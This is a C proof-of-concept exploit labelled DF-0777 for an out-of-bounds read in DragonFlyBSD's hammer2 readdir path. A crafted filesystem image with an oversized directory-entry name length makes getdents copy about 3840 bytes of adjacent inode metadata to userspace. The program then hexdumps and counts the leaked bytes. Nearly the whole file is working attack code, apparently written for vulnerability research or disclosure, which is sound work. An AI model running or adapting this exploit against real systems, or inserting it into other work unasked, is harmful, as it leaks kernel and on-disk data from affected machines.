/*
 * DF-0777 PoC: trigger the hammer2_vop_readdir INODE-branch OOB read.
 *
 * After a crafted hammer2 image is mounted (root-mount threat model),
 * getdents(2) with a large buffer triggers the bug. The crafted image
 * has an INODE-type directory entry with name_len=4096. The kernel calls
 * vop_write_dirent(..., name_len=4096, ripdata->filename) which does
 * bcopy(filename, dp->d_name, 4096) — reading 4096 bytes from a 256-byte
 * field, leaking ~3840 bytes of adjacent on-disk inode metadata to
 * userspace via the dirent buffer.
 *
 * We hexdump the received dirent entries to show the leaked bytes.
 *
 * Usage: ./readdir_leak /mnt/h2
 */
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/dirent.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* DragonFlyBSD struct dirent has no d_reclen; compute it ourselves */
#define MY_DIRENT_RECLEN(namelen) \
    ((__offsetof(struct dirent, d_name) + (namelen) + 1 + 7) & ~7)

/* getdents is syscall 480 on DragonFlyBSD */
static ssize_t
my_getdents(int fd, void *buf, size_t nbytes)
{
    return syscall(SYS_getdents, fd, buf, nbytes);
}

int main(int argc, char **argv)
{
    const char *path = argc > 1 ? argv[1] : "/mnt/h2";
    int fd;
    char buf[131072]; /* 128KB — must be large enough for _DIRENT_RECLEN(65535) */
    ssize_t n;
    int entry_num = 0;

    fd = open(path, O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    printf("=== getdents on %s (buf=128KB) ===\n", path);
    n = my_getdents(fd, buf, sizeof(buf));
    if (n < 0) {
        perror("getdents");
        close(fd);
        return 1;
    }
    printf("getdents returned %zd bytes\n", n);

    /* Walk the dirent entries */
    char *p = buf;
    while (p < buf + n) {
        struct dirent *dp = (struct dirent *)p;
        /* Compute record length (DragonFly has no d_reclen field) */
        int reclen = MY_DIRENT_RECLEN(dp->d_namlen);
        if (reclen <= 0 || p + reclen > buf + n)
            break;

        printf("\n--- entry %d ---\n", entry_num);
        printf("d_ino=%llu d_type=%u d_namlen=%u reclen=%d\n",
               (unsigned long long)dp->d_ino,
               dp->d_type, dp->d_namlen, reclen);

        /* Hexdump the name area */
        int dump_len = dp->d_namlen;
        if (dump_len > 512) dump_len = 512; /* cap display */
        char *name = (char *)&dp->d_name;
        printf("d_name (first %d bytes hex):\n", dump_len);
        for (int i = 0; i < dump_len; i++) {
            printf("%02x", (unsigned char)name[i]);
            if ((i + 1) % 32 == 0) printf("\n");
            else if ((i + 1) % 8 == 0) printf(" ");
        }
        printf("\n");

        /* Count non-zero leaked bytes past the real filename */
        int nonzero_past = 0;
        int check_len = dp->d_namlen;
        if (check_len > reclen - 16) check_len = reclen - 16;
        for (int i = 32; i < check_len; i++) {
            if ((unsigned char)name[i] != 0)
                nonzero_past++;
        }
        if (dp->d_namlen > 64) {
            printf("*** LEAK DETECTED: d_namlen=%u (>64), "
                   "%d non-zero bytes past offset 32 ***\n",
                   dp->d_namlen, nonzero_past);
        }

        p += reclen;
        entry_num++;
    }

    close(fd);
    printf("\n=== done, %d entries ===\n", entry_num);
    return 0;
}
